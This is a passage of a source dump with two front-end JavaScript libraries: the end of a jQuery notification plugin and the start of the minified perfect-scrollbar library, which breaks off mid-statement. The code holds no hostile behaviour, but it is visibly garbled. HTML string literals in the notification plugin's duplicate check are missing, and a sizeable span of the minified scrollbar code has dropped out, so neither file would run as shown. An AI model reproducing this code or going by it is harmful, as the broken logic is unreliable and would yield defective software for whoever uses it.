' 69 | }; 70 | 71 | String.format = function() { 72 | var args = arguments; 73 | var str = arguments[0]; 74 | return str.replace(/(\{\{\d\}\}|\{\d\})/g, function(str) { 75 | if (str.substring(0, 2) === "{{") return str; 76 | var num = parseInt(str.match(/\d/)[0]); 77 | return args[num + 1]; 78 | }); 79 | }; 80 | 81 | function isDuplicateNotification(notification) { 82 | var isDupe = false; 83 | 84 | $('[data-notify="container"]').each(function(i, el) { 85 | var $el = $(el); 86 | var title = $el.find('[data-notify="title"]').html().trim(); 87 | var message = $el.find('[data-notify="message"]').html().trim(); 88 | 89 | // The input string might be different than the actual parsed HTML string! 90 | // (
vs
for example) 91 | // So we have to force-parse this as HTML here! 92 | var isSameTitle = title === $("
" + notification.settings.content.title + "
").html().trim(); 93 | var isSameMsg = message === $("
" + notification.settings.content.message + "
").html().trim(); 94 | var isSameType = $el.hasClass('alert-' + notification.settings.type); 95 | 96 | if (isSameTitle && isSameMsg && isSameType) { 97 | //we found the dupe. Set the var and stop checking. 98 | isDupe = true; 99 | } 100 | return !isDupe; 101 | }); 102 | 103 | return isDupe; 104 | } 105 | 106 | function Notify(element, content, options) { 107 | // Setup Content of Notify 108 | var contentObj = { 109 | content: { 110 | message: typeof content === 'object' ? content.message : content, 111 | title: content.title ? content.title : '', 112 | icon: content.icon ? content.icon : '', 113 | url: content.url ? content.url : '#', 114 | target: content.target ? content.target : '-' 115 | } 116 | }; 117 | 118 | options = $.extend(true, {}, contentObj, options); 119 | this.settings = $.extend(true, {}, defaults, options); 120 | this._defaults = defaults; 121 | if (this.settings.content.target === "-") { 122 | this.settings.content.target = this.settings.url_target; 123 | } 124 | this.animations = { 125 | start: 'webkitAnimationStart oanimationstart MSAnimationStart animationstart', 126 | end: 'webkitAnimationEnd oanimationend MSAnimationEnd animationend' 127 | }; 128 | 129 | if (typeof this.settings.offset === 'number') { 130 | this.settings.offset = { 131 | x: this.settings.offset, 132 | y: this.settings.offset 133 | }; 134 | } 135 | 136 | //if duplicate messages are not allowed, then only continue if this new message is not a duplicate of one that it already showing 137 | if (this.settings.allow_duplicates || (!this.settings.allow_duplicates && !isDuplicateNotification(this))) { 138 | this.init(); 139 | } 140 | } 141 | 142 | $.extend(Notify.prototype, { 143 | init: function() { 144 | var self = this; 145 | 146 | this.buildNotify(); 147 | if (this.settings.content.icon) { 148 | this.setIcon(); 149 | } 150 | if (this.settings.content.url != "#") { 151 | this.styleURL(); 152 | } 153 | this.styleDismiss(); 154 | this.placement(); 155 | this.bind(); 156 | 157 | this.notify = { 158 | $ele: this.$ele, 159 | update: function(command, update) { 160 | var commands = {}; 161 | if (typeof command === "string") { 162 | commands[command] = update; 163 | } else { 164 | commands = command; 165 | } 166 | for (var cmd in commands) { 167 | switch (cmd) { 168 | case "type": 169 | this.$ele.removeClass('alert-' + self.settings.type); 170 | this.$ele.find('[data-notify="progressbar"] > .progress-bar').removeClass('progress-bar-' + self.settings.type); 171 | self.settings.type = commands[cmd]; 172 | this.$ele.addClass('alert-' + commands[cmd]).find('[data-notify="progressbar"] > .progress-bar').addClass('progress-bar-' + commands[cmd]); 173 | break; 174 | case "icon": 175 | var $icon = this.$ele.find('[data-notify="icon"]'); 176 | if (self.settings.icon_type.toLowerCase() === 'class') { 177 | $icon.removeClass(self.settings.content.icon).addClass(commands[cmd]); 178 | } else { 179 | if (!$icon.is('img')) { 180 | $icon.find('img'); 181 | } 182 | $icon.attr('src', commands[cmd]); 183 | } 184 | self.settings.content.icon = commands[command]; 185 | break; 186 | case "progress": 187 | var newDelay = self.settings.delay - (self.settings.delay * (commands[cmd] / 100)); 188 | this.$ele.data('notify-delay', newDelay); 189 | this.$ele.find('[data-notify="progressbar"] > div').attr('aria-valuenow', commands[cmd]).css('width', commands[cmd] + '%'); 190 | break; 191 | case "url": 192 | this.$ele.find('[data-notify="url"]').attr('href', commands[cmd]); 193 | break; 194 | case "target": 195 | this.$ele.find('[data-notify="url"]').attr('target', commands[cmd]); 196 | break; 197 | default: 198 | this.$ele.find('[data-notify="' + cmd + '"]').html(commands[cmd]); 199 | } 200 | } 201 | var posX = this.$ele.outerHeight() + parseInt(self.settings.spacing) + parseInt(self.settings.offset.y); 202 | self.reposition(posX); 203 | }, 204 | close: function() { 205 | self.close(); 206 | } 207 | }; 208 | 209 | }, 210 | buildNotify: function() { 211 | var content = this.settings.content; 212 | this.$ele = $(String.format(this.settings.template, this.settings.type, content.title, content.message, content.url, content.target)); 213 | this.$ele.attr('data-notify-position', this.settings.placement.from + '-' + this.settings.placement.align); 214 | if (!this.settings.allow_dismiss) { 215 | this.$ele.find('[data-notify="dismiss"]').css('display', 'none'); 216 | } 217 | if ((this.settings.delay <= 0 && !this.settings.showProgressbar) || !this.settings.showProgressbar) { 218 | this.$ele.find('[data-notify="progressbar"]').remove(); 219 | } 220 | }, 221 | setIcon: function() { 222 | this.$ele.addClass('alert-with-icon'); 223 | 224 | if (this.settings.icon_type.toLowerCase() === 'class') { 225 | this.$ele.find('[data-notify="icon"]').addClass(this.settings.content.icon); 226 | } else { 227 | if (this.$ele.find('[data-notify="icon"]').is('img')) { 228 | this.$ele.find('[data-notify="icon"]').attr('src', this.settings.content.icon); 229 | } else { 230 | this.$ele.find('[data-notify="icon"]').append('Notify Icon'); 231 | } 232 | } 233 | }, 234 | styleDismiss: function() { 235 | this.$ele.find('[data-notify="dismiss"]').css({ 236 | position: 'absolute', 237 | right: '10px', 238 | top: '50%', 239 | marginTop: '-13px', 240 | zIndex: this.settings.z_index + 2 241 | }); 242 | }, 243 | styleURL: function() { 244 | this.$ele.find('[data-notify="url"]').css({ 245 | backgroundImage: 'url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)', 246 | height: '100%', 247 | left: 0, 248 | position: 'absolute', 249 | top: 0, 250 | width: '100%', 251 | zIndex: this.settings.z_index + 1 252 | }); 253 | }, 254 | placement: function() { 255 | var self = this, 256 | offsetAmt = this.settings.offset.y, 257 | css = { 258 | display: 'inline-block', 259 | margin: '0px auto', 260 | position: this.settings.position ? this.settings.position : (this.settings.element === 'body' ? 'fixed' : 'absolute'), 261 | transition: 'all .5s ease-in-out', 262 | zIndex: this.settings.z_index 263 | }, 264 | hasAnimation = false, 265 | settings = this.settings; 266 | 267 | $('[data-notify-position="' + this.settings.placement.from + '-' + this.settings.placement.align + '"]:not([data-closing="true"])').each(function() { 268 | offsetAmt = Math.max(offsetAmt, parseInt($(this).css(settings.placement.from)) + parseInt($(this).outerHeight()) + parseInt(settings.spacing)); 269 | }); 270 | if (this.settings.newest_on_top === true) { 271 | offsetAmt = this.settings.offset.y; 272 | } 273 | css[this.settings.placement.from] = offsetAmt + 'px'; 274 | 275 | switch (this.settings.placement.align) { 276 | case "left": 277 | case "right": 278 | css[this.settings.placement.align] = this.settings.offset.x + 'px'; 279 | break; 280 | case "center": 281 | css.left = 0; 282 | css.right = 0; 283 | break; 284 | } 285 | this.$ele.css(css).addClass(this.settings.animate.enter); 286 | $.each(Array('webkit-', 'moz-', 'o-', 'ms-', ''), function(index, prefix) { 287 | self.$ele[0].style[prefix + 'AnimationIterationCount'] = 1; 288 | }); 289 | 290 | $(this.settings.element).append(this.$ele); 291 | 292 | if (this.settings.newest_on_top === true) { 293 | offsetAmt = (parseInt(offsetAmt) + parseInt(this.settings.spacing)) + this.$ele.outerHeight(); 294 | this.reposition(offsetAmt); 295 | } 296 | 297 | if ($.isFunction(self.settings.onShow)) { 298 | self.settings.onShow.call(this.$ele); 299 | } 300 | 301 | this.$ele.one(this.animations.start, function() { 302 | hasAnimation = true; 303 | }).one(this.animations.end, function() { 304 | self.$ele.removeClass(self.settings.animate.enter); 305 | if ($.isFunction(self.settings.onShown)) { 306 | self.settings.onShown.call(this); 307 | } 308 | }); 309 | 310 | setTimeout(function() { 311 | if (!hasAnimation) { 312 | if ($.isFunction(self.settings.onShown)) { 313 | self.settings.onShown.call(this); 314 | } 315 | } 316 | }, 600); 317 | }, 318 | bind: function() { 319 | var self = this; 320 | 321 | this.$ele.find('[data-notify="dismiss"]').on('click', function() { 322 | self.close(); 323 | }); 324 | 325 | if ($.isFunction(self.settings.onClick)) { 326 | this.$ele.on('click', function(event) { 327 | if (event.target != self.$ele.find('[data-notify="dismiss"]')[0]) { 328 | self.settings.onClick.call(this, event); 329 | } 330 | }); 331 | } 332 | 333 | this.$ele.mouseover(function() { 334 | $(this).data('data-hover', "true"); 335 | }).mouseout(function() { 336 | $(this).data('data-hover', "false"); 337 | }); 338 | this.$ele.data('data-hover', "false"); 339 | 340 | if (this.settings.delay > 0) { 341 | self.$ele.data('notify-delay', self.settings.delay); 342 | var timer = setInterval(function() { 343 | var delay = parseInt(self.$ele.data('notify-delay')) - self.settings.timer; 344 | if ((self.$ele.data('data-hover') === 'false' && self.settings.mouse_over === "pause") || self.settings.mouse_over != "pause") { 345 | var percent = ((self.settings.delay - delay) / self.settings.delay) * 100; 346 | self.$ele.data('notify-delay', delay); 347 | self.$ele.find('[data-notify="progressbar"] > div').attr('aria-valuenow', percent).css('width', percent + '%'); 348 | } 349 | if (delay <= -(self.settings.timer)) { 350 | clearInterval(timer); 351 | self.close(); 352 | } 353 | }, self.settings.timer); 354 | } 355 | }, 356 | close: function() { 357 | var self = this, 358 | posX = parseInt(this.$ele.css(this.settings.placement.from)), 359 | hasAnimation = false; 360 | 361 | this.$ele.attr('data-closing', 'true').addClass(this.settings.animate.exit); 362 | self.reposition(posX); 363 | 364 | if ($.isFunction(self.settings.onClose)) { 365 | self.settings.onClose.call(this.$ele); 366 | } 367 | 368 | this.$ele.one(this.animations.start, function() { 369 | hasAnimation = true; 370 | }).one(this.animations.end, function() { 371 | $(this).remove(); 372 | if ($.isFunction(self.settings.onClosed)) { 373 | self.settings.onClosed.call(this); 374 | } 375 | }); 376 | 377 | setTimeout(function() { 378 | if (!hasAnimation) { 379 | self.$ele.remove(); 380 | if (self.settings.onClosed) { 381 | self.settings.onClosed(self.$ele); 382 | } 383 | } 384 | }, 600); 385 | }, 386 | reposition: function(posX) { 387 | var self = this, 388 | notifies = '[data-notify-position="' + this.settings.placement.from + '-' + this.settings.placement.align + '"]:not([data-closing="true"])', 389 | $elements = this.$ele.nextAll(notifies); 390 | if (this.settings.newest_on_top === true) { 391 | $elements = this.$ele.prevAll(notifies); 392 | } 393 | $elements.each(function() { 394 | $(this).css(self.settings.placement.from, posX); 395 | posX = (parseInt(posX) + parseInt(self.settings.spacing)) + $(this).outerHeight(); 396 | }); 397 | } 398 | }); 399 | 400 | $.notify = function(content, options) { 401 | var plugin = new Notify(this, content, options); 402 | return plugin.notify; 403 | }; 404 | $.notifyDefaults = function(options) { 405 | defaults = $.extend(true, {}, defaults, options); 406 | return defaults; 407 | }; 408 | 409 | $.notifyClose = function(selector) { 410 | 411 | if (typeof selector === "undefined" || selector === "all") { 412 | $('[data-notify]').find('[data-notify="dismiss"]').trigger('click'); 413 | } else if (selector === 'success' || selector === 'info' || selector === 'warning' || selector === 'danger') { 414 | $('.alert-' + selector + '[data-notify]').find('[data-notify="dismiss"]').trigger('click'); 415 | } else if (selector) { 416 | $(selector + '[data-notify]').find('[data-notify="dismiss"]').trigger('click'); 417 | } else { 418 | $('[data-notify-position="' + selector + '"]').find('[data-notify="dismiss"]').trigger('click'); 419 | } 420 | }; 421 | 422 | $.notifyCloseExcept = function(selector) { 423 | 424 | if (selector === 'success' || selector === 'info' || selector === 'warning' || selector === 'danger') { 425 | $('[data-notify]').not('.alert-' + selector).find('[data-notify="dismiss"]').trigger('click'); 426 | } else { 427 | $('[data-notify]').not(selector).find('[data-notify="dismiss"]').trigger('click'); 428 | } 429 | }; 430 | 431 | 432 | })); -------------------------------------------------------------------------------- /web/assets/js/plugins/perfect-scrollbar.jquery.min.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * perfect-scrollbar v1.4.0 3 | * (c) 2018 Hyunje Jun 4 | * @license MIT 5 | */ 6 | !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):t.PerfectScrollbar=e()}(this,function(){"use strict";function t(t){return getComputedStyle(t)}function e(t,e){for(var i in e){var r=e[i];"number"==typeof r&&(r+="px"),t.style[i]=r}return t}function i(t){var e=document.createElement("div");return e.className=t,e}function r(t,e){if(!v)throw new Error("No element matching method supported");return v.call(t,e)}function l(t){t.remove?t.remove():t.parentNode&&t.parentNode.removeChild(t)}function n(t,e){return Array.prototype.filter.call(t.children,function(t){return r(t,e)})}function o(t,e){var i=t.element.classList,r=m.state.scrolling(e);i.contains(r)?clearTimeout(Y[e]):i.add(r)}function s(t,e){Y[e]=setTimeout(function(){return t.isAlive&&t.element.classList.remove(m.state.scrolling(e))},t.settings.scrollingThreshold)}function a(t,e){o(t,e),s(t,e)}function c(t){if("function"==typeof window.CustomEvent)return new CustomEvent(t);var e=document.createEvent("CustomEvent");return e.initCustomEvent(t,!1,!1,void 0),e}function h(t,e,i,r,l){var n=i[0],o=i[1],s=i[2],h=i[3],u=i[4],d=i[5];void 0===r&&(r=!0),void 0===l&&(l=!1);var f=t.element;t.reach[h]=null,f[s]<1&&(t.reach[h]="start"),f[s]>t[n]-t[o]-1&&(t.reach[h]="end"),e&&(f.dispatchEvent(c("ps-scroll-"+h)),e<0?f.dispatchEvent(c("ps-scroll-"+u)):e>0&&f.dispatchEvent(c("ps-scroll-"+d)),r&&a(t,h)),t.reach[h]&&(e||l)&&f.dispatchEvent(c("ps-"+h+"-reach-"+t.reach[h]))}function u(t){return parseInt(t,10)||0}function d(t){return r(t,"input,[contenteditable]")||r(t,"select,[contenteditable]")||r(t,"textarea,[contenteditable]")||r(t,"button,[contenteditable]")}function f(e){var i=t(e);return u(i.width)+u(i.paddingLeft)+u(i.paddingRight)+u(i.borderLeftWidth)+u(i.borderRightWidth)}function p(t,e){return t.settings.minScrollbarLength&&(e=Math.max(e,t.settings.minScrollbarLength)),t.settings.maxScrollbarLength&&(e=Math.min(e,t.settings.maxScrollbarLength)),e}function b(t,i){var r={width:i.railXWidth},l=Math.floor(t.scrollTop);i.isRtl?r.left=i.negativeScrollAdjustment+t.scrollLeft+i.containerWidth-i.contentWidth:r.left=t.scrollLeft,i.isScrollbarXUsingBottom?r.bottom=i.scrollbarXBottom-l:r.top=i.scrollbarXTop+l,e(i.scrollbarXRail,r);var n={top:l,height:i.railYHeight};i.isScrollbarYUsingRight?i.isRtl?n.right=i.contentWidth-(i.negativeScrollAdjustment+t.scrollLeft)-i.scrollbarYRight-i.scrollbarYOuterWidth:n.right=i.scrollbarYRight-t.scrollLeft:i.isRtl?n.left=i.negativeScrollAdjustment+t.scrollLeft+2*i.containerWidth-i.contentWidth-i.scrollbarYLeft-i.scrollbarYOuterWidth:n.left=i.scrollbarYLeft+t.scrollLeft,e(i.scrollbarYRail,n),e(i.scrollbarX,{left:i.scrollbarXLeft,width:i.scrollbarXWidth-i.railBorderXWidth}),e(i.scrollbarY,{top:i.scrollbarYTop,height:i.scrollbarYHeight-i.railBorderYWidth})}function g(t,e){function i(e){b[d]=g+Y*(e[a]-v),o(t,f),R(t),e.stopPropagation(),e.preventDefault()}function r(){s(t,f),t[p].classList.remove(m.state.clicking),t.event.unbind(t.ownerDocument,"mousemove",i)}var l=e[0],n=e[1],a=e[2],c=e[3],h=e[4],u=e[5],d=e[6],f=e[7],p=e[8],b=t.element,g=null,v=null,Y=null;t.event.bind(t[h],"mousedown",function(e){g=b[d],v=e[a],Y=(t[n]-t[l])/(t[c]-t[u]),t.event.bind(t.ownerDocument,"mousemove",i),t.event.once(t.ownerDocument,"mouseup",r),t[p].classList.add(m.state.clicking),e.stopPropagation(),e.preventDefault()})}var v="undefined"!=typeof Element&&(Element.prototype.matches||Element.prototype.webkitMatchesSelector||Element.prototype.mozMatchesSelector||Element.prototype.msMatchesSelector),m={main:"ps",element:{thumb:function(t){return"ps__thumb-"+t},rail:function(t){return"ps__rail-"+t},consuming:"ps__child--consume"},state:{focus:"ps--focus",clicking:"ps--clicking",active:function(t){return"ps--active-"+t},scrolling:function(t){return"ps--scrolling-"+t}}},Y={x:null,y:null},X=function(t){this.element=t,this.handlers={}},w={isEmpty:{configurable:!0}};X.prototype.bind=function(t,e){void 0===this.handlers[t]&&(this.handlers[t]=[]),this.handlers[t].push(e),this.element.addEventListener(t,e,!1)},X.prototype.unbind=function(t,e){var i=this;this.handlers[t]=this.handlers[t].filter(function(r){return!(!e||r===e)||(i.element.removeEventListener(t,r,!1),!1)})},X.prototype.unbindAll=function(){var t=this;for(var e in t.handlers)t.unbind(e)},w.isEmpty.get=function(){var t=this;return Object.keys(this.handlers).every(function(e){return 0===t.handlers[e].length})},Object.defineProperties(X.prototype,w);var y=function(){this.eventElements=[]};y.prototype.eventElement=function(t){var e=this.eventElements.filter(function(e){return e.element===t})[0];return e||(e=new X(t),this.eventElements.push(e)),e},y.prototype.bind=function(t,e,i){this.eventElement(t).bind(e,i)},y.prototype.unbind=function(t,e,i){var r=this.eventElement(t);r.unbind(e,i),r.isEmpty&&this.eventElements.splice(this.eventElements.indexOf(r),1)},y.prototype.unbindAll=function(){this.eventElements.forEach(function(t){return t.unbindAll()}),this.eventElements=[]},y.prototype.once=function(t,e,i){var r=this.eventElement(t),l=function(t){r.unbind(e,l),i(t)};r.bind(e,l)};var W=function(t,e,i,r,l){void 0===r&&(r=!0),void 0===l&&(l=!1);var n;if("top"===e)n=["contentHeight","containerHeight","scrollTop","y","up","down"];else{if("left"!==e)throw new Error("A proper axis should be provided");n=["contentWidth","containerWidth","scrollLeft","x","left","right"]}h(t,i,n,r,l)},L={isWebKit:"undefined"!=typeof document&&"WebkitAppearance"in document.documentElement.style,supportsTouch:"undefined"!=typeof window&&("ontouchstart"in window||window.DocumentTouch&&document instanceof window.DocumentTouch),supportsIePointer:"undefined"!=typeof navigator&&navigator.msMaxTouchPoints,isChrome:"undefined"!=typeof navigator&&/Chrome/i.test(navigator&&navigator.userAgent)},R=function(t){var e=t.element,i=Math.floor(e.scrollTop);t.containerWidth=e.clientWidth,t.containerHeight=e.clientHeight,t.contentWidth=e.scrollWidth,t.contentHeight=e.scrollHeight,e.contains(t.scrollbarXRail)||(n(e,m.element.rail("x")).forEach(function(t){return l(t)}),e.appendChild(t.scrollbarXRail)),e.contains(t.scrollbarYRail)||(n(e,m.element.rail("y")).forEach(function(t){return l(t)}),e.appendChild(t.scrollbarYRail)),!t.settings.suppressScrollX&&t.containerWidth+t.settings.scrollXMarginOffset=t.railXWidth-t.scrollbarXWidth&&(t.scrollbarXLeft=t.railXWidth-t.scrollbarXWidth),t.scrollbarYTop>=t.railYHeight-t.scrollbarYHeight&&(t.scrollbarYTop=t.railYHeight-t.scrollbarYHeight),b(e,t),t.scrollbarXActive?e.classList.add(m.state.active("x")):(e.classList.remove(m.state.active("x")),t.scrollbarXWidth=0,t.scrollbarXLeft=0,e.scrollLeft=0),t.scrollbarYActive?e.classList.add(m.state.active("y")):(e.classList.remove(m.state.active("y")),t.scrollbarYHeight=0,t.scrollbarYTop=0,e.scrollTop=0)},T={"click-rail":function(t){t.event.bind(t.scrollbarY,"mousedown",function(t){return t.stopPropagation()}),t.event.bind(t.scrollbarYRail,"mousedown",function(e){var i=e.pageY-window.pageYOffset-t.scrollbarYRail.getBoundingClientRect().top>t.scrollbarYTop?1:-1;t.element.scrollTop+=i*t.containerHeight,R(t),e.stopPropagation()}),t.event.bind(t.scrollbarX,"mousedown",function(t){return t.stopPropagation()}),t.event.bind(t.scrollbarXRail,"mousedown",function(e){var i=e.pageX-window.pageXOffset-t.scrollbarXRail.getBoundingClientRect().left>t.scrollbarXLeft?1:-1;t.element.scrollLeft+=i*t.containerWidth,R(t),e.stopPropagation()})},"drag-thumb":function(t){g(t,["containerWidth","contentWidth","pageX","railXWidth","scrollbarX","scrollbarXWidth","scrollLeft","x","scrollbarXRail"]),g(t,["containerHeight","contentHeight","pageY","railYHeight","scrollbarY","scrollbarYHeight","scrollTop","y","scrollbarYRail"])},keyboard:function(t){function e(e,r){var l=Math.floor(i.scrollTop);if(0===e){if(!t.scrollbarYActive)return!1;if(0===l&&r>0||l>=t.contentHeight-t.containerHeight&&r<0)return!t.settings.wheelPropagation}var n=i.scrollLeft;if(0===r){if(!t.scrollbarXActive)return!1;if(0===n&&e<0||n>=t.contentWidth-t.containerWidth&&e>0)return!t.settings.wheelPropagation}return!0}var i=t.element,l=function(){return r(i,":hover")},n=function(){return r(t.scrollbarX,":focus")||r(t.scrollbarY,":focus")};t.event.bind(t.ownerDocument,"keydown",function(r){if(!(r.isDefaultPrevented&&r.isDefaultPrevented()||r.defaultPrevented)&&(l()||n())){var o=document.activeElement?document.activeElement:t.ownerDocument.activeElement;if(o){if("IFRAME"===o.tagName)o=o.contentDocument.activeElement;else for(;o.shadowRoot;)o=o.shadowRoot.activeElement;if(d(o))return}var s=0,a=0;switch(r.which){case 37:s=r.metaKey?-t.contentWidth:r.altKey?-t.containerWidth:-30;break;case 38:a=r.metaKey?t.contentHeight:r.altKey?t.containerHeight:30;break;case 39:s=r.metaKey?t.contentWidth:r.altKey?t.containerWidth:30;break;case 40:a=r.metaKey?-t.contentHeight:r.altKey?-t.containerHeight:-30;break;case 32:a=r.shiftKey?t.containerHeight:-t.containerHeight;break;case 33:a=t.containerHeight;break;case 34:a=-t.containerHeight;break;case 36:a=t.contentHeight;break;case 35:a=-t.contentHeight;break;default:return}t.settings.suppressScrollX&&0!==s||t.settings.suppressScrollY&&0!==a||(i.scrollTop-=a,i.scrollLeft+=s,R(t),e(s,a)&&r.preventDefault())}})},wheel:function(e){function i(t,i){var r=Math.floor(o.scrollTop),l=0===o.scrollTop,n=r+o.offsetHeight===o.scrollHeight,s=0===o.scrollLeft,a=o.scrollLeft+o.offsetWidth===o.scrollWidth;return!(Math.abs(i)>Math.abs(t)?l||n:s||a)||!e.settings.wheelPropagation}function r(t){var e=t.deltaX,i=-1*t.deltaY;return void 0!==e&&void 0!==i||(e=-1*t.wheelDeltaX/6,i=t.wheelDeltaY/6),t.deltaMode&&1===t.deltaMode&&(e*=10,i*=10),e!==e&&i!==i&&(e=0,i=t.wheelDelta),t.shiftKey?[-i,-e]:[e,i]}function l(e,i,r){if(!L.isWebKit&&o.querySelector("select:focus"))return!0;if(!o.contains(e))return!1;for(var l=e;l&&l!==o;){if(l.classList.contains(m.element.consuming))return!0;var n=t(l);if([n.overflow,n.overflowX,n.overflowY].join("").match(/(scroll|auto)/)){var s=l.scrollHeight-l.clientHeight;if(s>0&&!(0===l.scrollTop&&r>0||l.scrollTop===s&&r<0))return!0;var a=l.scrollWidth-l.clientWidth;if(a>0&&!(0===l.scrollLeft&&i<0||l.scrollLeft===a&&i>0))return!0}l=l.parentNode}return!1}function n(t){var n=r(t),s=n[0],a=n[1];if(!l(t.target,s,a)){var c=!1;e.settings.useBothWheelAxes?e.scrollbarYActive&&!e.scrollbarXActive?(a?o.scrollTop-=a*e.settings.wheelSpeed:o.scrollTop+=s*e.settings.wheelSpeed,c=!0):e.scrollbarXActive&&!e.scrollbarYActive&&(s?o.scrollLeft+=s*e.settings.wheelSpeed:o.scrollLeft-=a*e.settings.wheelSpeed,c=!0):(o.scrollTop-=a*e.settings.wheelSpeed,o.scrollLeft+=s*e.settings.wheelSpeed),R(e),(c=c||i(s,a))&&!t.ctrlKey&&(t.stopPropagation(),t.preventDefault())}}var o=e.element;void 0!==window.onwheel?e.event.bind(o,"wheel",n):void 0!==window.onmousewheel&&e.event.bind(o,"mousewheel",n)},touch:function(e){function i(t,i){var r=Math.floor(h.scrollTop),l=h.scrollLeft,n=Math.abs(t),o=Math.abs(i);if(o>n){if(i<0&&r===e.contentHeight-e.containerHeight||i>0&&0===r)return 0===window.scrollY&&i>0&&L.isChrome}else if(n>o&&(t<0&&l===e.contentWidth-e.containerWidth||t>0&&0===l))return!0;return!0}function r(t,i){h.scrollTop-=i,h.scrollLeft-=t,R(e)}function l(t){return t.targetTouches?t.targetTouches[0]:t}function n(t){return!(t.pointerType&&"pen"===t.pointerType&&0===t.buttons||(!t.targetTouches||1!==t.targetTouches.length)&&(!t.pointerType||"mouse"===t.pointerType||t.pointerType===t.MSPOINTER_TYPE_MOUSE))}function o(t){if(n(t)){var e=l(t);u.pageX=e.pageX,u.pageY=e.pageY,d=(new Date).getTime(),null!==p&&clearInterval(p)}}function s(e,i,r){if(!h.contains(e))return!1;for(var l=e;l&&l!==h;){if(l.classList.contains(m.element.consuming))return!0;var n=t(l);if([n.overflow,n.overflowX,n.overflowY].join("").match(/(scroll|auto)/)){var o=l.scrollHeight-l.clientHeight;if(o>0&&!(0===l.scrollTop&&r>0||l.scrollTop===o&&r<0))return!0;var s=l.scrollLeft-l.clientWidth;if(s>0&&!(0===l.scrollLeft&&i<0||l.scrollLeft===s&&i>0))return!0}l=l.parentNode}return!1}function a(t){if(n(t)){var e=l(t),o={pageX:e.pageX,pageY:e.pageY},a=o.pageX-u.pageX,c=o.pageY-u.pageY;if(s(t.target,a,c))return;r(a,c),u=o;var h=(new Date).getTime(),p=h-d;p>0&&(f.x=a/p,f.y=c/p,d=h),i(a,c)&&t.preventDefault()}}function c(){e.settings.swipeEasing&&(clearInterval(p),p=setInterval(function(){e.isInitialized?clearInterval(p):f.x||f.y?Math.abs(f.x)<.01&&Math.abs(f.y)<.01?clearInterval(p):(r(30*f.x,30*f.y),f.x*=.8,f.y*=.8):clearInterval(p)},10))}if(L.supportsTouch||L.supportsIePointer){var h=e.element,u={},d=0,f={},p=null;L.supportsTouch?(e.event.bind(h,"touchstart",o),e.event.bind(h,"touchmove",a),e.event.bind(h,"touchend",c)):L.supportsIePointer&&(window.PointerEvent?(e.event.bind(h,"pointerdown",o),e.event.bind(h,"pointermove",a),e.event.bind(h,"pointerup",c)):window.MSPointerEvent&&(e.event.bind(h,"MSPointerDown",o),e.event.bind(h,"MSPointerMove",a),e.event.bind(h,"MSPointerUp",c)))}}},H=function(r,l){var n=this;if(void 0===l&&(l={}),"string"==typeof r&&(r=document.querySelector(r)),!r||!r.nodeName)throw new Error("no element is specified to initialize PerfectScrollbar");this.element=r,r.classList.add(m.main),this.settings={handlers:["click-rail","drag-thumb","keyboard","wheel","touch"],maxScrollbarLength:null,minScrollbarLength:null,scrollingThreshold:1e3,scrollXMarginOffset:0,scrollYMarginOffset:0,suppressScrollX:!1,suppressScrollY:!1,swipeEasing:!0,useBothWheelAxes:!1,wheelPropagation:!0,wheelSpeed:1};for(var o in l)n.settings[o]=l[o];this.containerWidth=null,this.containerHeight=null,this.contentWidth=null,this.contentHeight=null;var s=function(){return r.classList.add(m.state.focus)},a=function(){return r.classList.remove(m.state.focus)};this.isRtl="rtl"===t(r).direction,this.isNegativeScroll=function(){var t=r.scrollLeft,e=null;return r.scrollLeft=-1,e=r.scrollLeft<0,r.scrollLeft=t,e}(),this.negativeScrollAdjustment=this.isNegativeScroll?r.scrollWidth-r.clientWidth:0,this.event=new y,this.ownerDocument=r.ownerDocument||document,this.scrollbarXRail=i(m.element.rail("x")),r.appendChild(this.scrollbarXRail),this.scrollbarX=i(m.element.thumb("x")),this.scrollbarXRail.appendChild(this.scrollbarX),this.scrollbarX.setAttribute("tabindex",0),this.event.bind(this.scrollbarX,"focus",s),this.event.bind(this.scrollbarX,"blur",a),this.scrollbarXActive=null,this.scrollbarXWidth=null,this.scrollbarXLeft=null;var c=t(this.scrollbarXRail);this.scrollbarXBottom=parseInt(c.bottom,10),isNaN(this.scrollbarXBottom)?(this.isScrollbarXUsingBottom=!1,this.scrollbarXTop=u(c.top)):this.isScrollbarXUsingBottom=!0,this.railBorderXWidth=u(c.borderLeftWidth)+u(c.borderRightWidth),e(this.scrollbarXRail,{display:"block"}),this.railXMarginWidth=u(c.marginLeft)+u(c.marginRight),e(this.scrollbarXRail,{display:""}),this.railXWidth=null,this.railXRatio=null,this.scrollbarYRail=i(m.element.rail("y")),r.appendChild(this.scrollbarYRail),this.scrollbarY=i(m.element.thumb("y")),this.scrollbarYRail.appendChild(this.scrollbarY),this.scrollbarY.setAttribute("tabindex",0),this.event.bind(this.scrollbarY,"focus",s),this.event.bind(this.scrollbarY,"blur",a),this.scrollbarYActive=null,this.scrollbarYHeight=null,this.scrollbarYTop=null;var h=t(this.scrollbarYRail);this.scrollbarYRight=parseInt(h.right,10),isNaN(this.scrollbarYRight)?(this.isScrollbarYUsingRight=!1,this.scrollbarYLeft=u(h.left)):this.isScrollbarYUsingRight=!0,this.scrollbarYOuterWidth=this.isRtl?f(this.scrollbarY):null,this.railBorderYWidth=u(h.borderTopWidth)+u(h.borderBottomWidth),e(this.scrollbarYRail,{display:"block"}),this.railYMarginHeight=u(h.marginTop)+u(h.marginBottom),e(this.scrollbarYRail,{display:""}),this.railYHeight=null,this.railYRatio=null,this.reach={x:r.scrollLeft<=0?"start":r.scrollLeft>=this.contentWidth-this.containerWidth?"end":null,y:r.scrollTop<=0?"start":r.scrollTop>=this.contentHeight-this.containerHeight?"end":null},this.isAlive=!0,this.settings.handlers.forEach(function(t){return T[t](n)}),this.lastScrollTop=Math.floor(r.scrollTop),this.lastScrollLeft=r.scrollLeft,this.event.bind(this.element,"scroll",function(t){return n.onScroll(t)}),R(this)};return 